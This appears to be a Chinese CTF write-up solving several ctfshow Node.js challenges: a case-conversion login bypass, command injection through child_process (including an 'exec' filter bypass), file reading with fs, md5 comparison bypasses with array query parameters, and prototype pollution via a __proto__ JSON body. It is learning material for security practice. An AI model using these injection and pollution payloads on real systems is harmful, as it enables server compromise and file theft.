这里给了,我们两个文件,一个user.js,一个login.js
//user.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
//user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
这里分析一下,这里获取user.js的数组
var users = require('../modules/user').items;
这里分析一下,他这里name不能等于CTFSHOW,但是获得flag的条件是user等于CTFSHOW,password等于123456,但是toUpperCase可以将小写转换成大写
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
var a = "adaAa"; a = a.toUpperCase(); console.log(a); //回显 ADAAA
然后y佬这里还有一些小tips
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
payload:
get:/login
post传:username=ctfshow&password=123456
或者
网页直接登录ctfhsow:123456
这里打开源代码提示我们
在js文件中查找没有找到相关的什么东西,这里怀疑是js的eval。
通过查找主要有这三种,但是发现好像只有child_process是自带,这里我们在本地尝试一下。
这里我们使用require()函数来加载child_process模块,他下面有这些方法。
通过学习,我们可以知道,下面这三个我们可以直接利用的
payload:
require('child_process').execSync('cat f*').toString()
require('child_process').spawnSync('cat', ['f*']).stdout.toString()
额外的发现
execFileSync只能执行ls之类,他cat不了文件
require('child_process').execSync('cat f*') 这里突然发现不用toString也行
发现这里exec好像被禁了,而且统配符不知道为什么突然用不了
payload:
require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
这里是参考y4师傅 的方法
__filename :返回当前模块文件的绝对路径
#这个可以读取文件
require('fs').readFileSync('/app/routes/index.js','utf-8')
这里知道过滤exec,我们可以像ssti一样绕过他
payload:
require('child_process')['e'%2b'xecSync']('cat f*').toString()
还是经过学习,发现fs模块,还有列出目录中的文件的方法。
//列出当前目录下的文件
require('fs').readdirSync('./')
payload:
require('fs').readFileSync('fl001g.txt','utf-8')
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
这种相对在php,我们见到的很多,就是利用数组绕过md5,但是这里尝试的时候好像不行,呃呃呃,我们到本地看一手。
这里看似a和b是相等的,但是其实就是c和d这样,他是不一样的,但是如果就是1和1呢,不是1和2
a={'':'1'}
b={'':'2'}
const c = [1];
const d = [2];
console.log(a+"flag")
console.log(b+"flag")
console.log(c+"flag")
console.log(d+"flag")
//回显
[object Object]flag
[object Object]flag
1flag
2flag
payload:
?a[]=1&b[]=1
我们要知道js,我们是可以使用字符索引的
a={'a':'1'}
b={'a':'2'}
console.log(a+"flag")
console.log(b+"flag")
//回显
[object Object]flag
[object Object]flag
payload:
?a[a]=1&b[a]=2
这个是看到bfengj师傅,才知道的,我知道js是弱类型,但是说这样用就有点过分了吧
console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
payload:
?a[1]=1&b=1
这里可以先看p神的文章,真的很有帮助
这里简单理解一下什么原型链污染,我本地实例一下
首先我们要知道
1、prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
2、一个对象的__proto__属性,指向这个对象所在的类的prototype属性
b的值为什么还是100?
首先我们要明白他获取值的顺序1.先在b对象中先找number的值
2.再去b.__proto__中找值
3.再去b.__proto__.__proto__直到找到了值或者找到了null
c为什么是1000?
这里我们每个对象的__proto__都是指向Object.prototype的
b.__proto__污染了Object.prototype,那么c.__proto__也是指向Object.prototype,所以c对象中肯定是没有值,所以就会在c.__proto__中找值,这里有值就是被b污染的值。
然后开始分析题目,这个他给了源码,分析一下
#login.js
//flag
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
#utils/common.js
//利用点
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
这里先看到利用点,这里copy的意思就是将
object1和object2对比,如果存在没有的属性,就会将属性和值给object1
这里他user和secert对象都是指向Object.prototype,所以只要user.__proto__.ctfshow等于36dboy就可以了
所以ctfshow,user肯定是没有的,所以就会添加进去
这里举个例子,下面经过调用就会变成
var object1 = {a: 1,b: {c: 2,d: 3}}; var object2 = {a: 1,"__proto__":{"ctfshow1":"36dboy"}}
//object1 { a: 1, b: { c: 2, d: 3 }, "__proto__": { ctfshow1: "36dboy" } }
所以按这种理解,我们用post传入{"__proto__":{"ctfshow":"36dboy"}} 就可以了
payload:
post传:{"__proto__":{"ctfshow":"36dboy"}}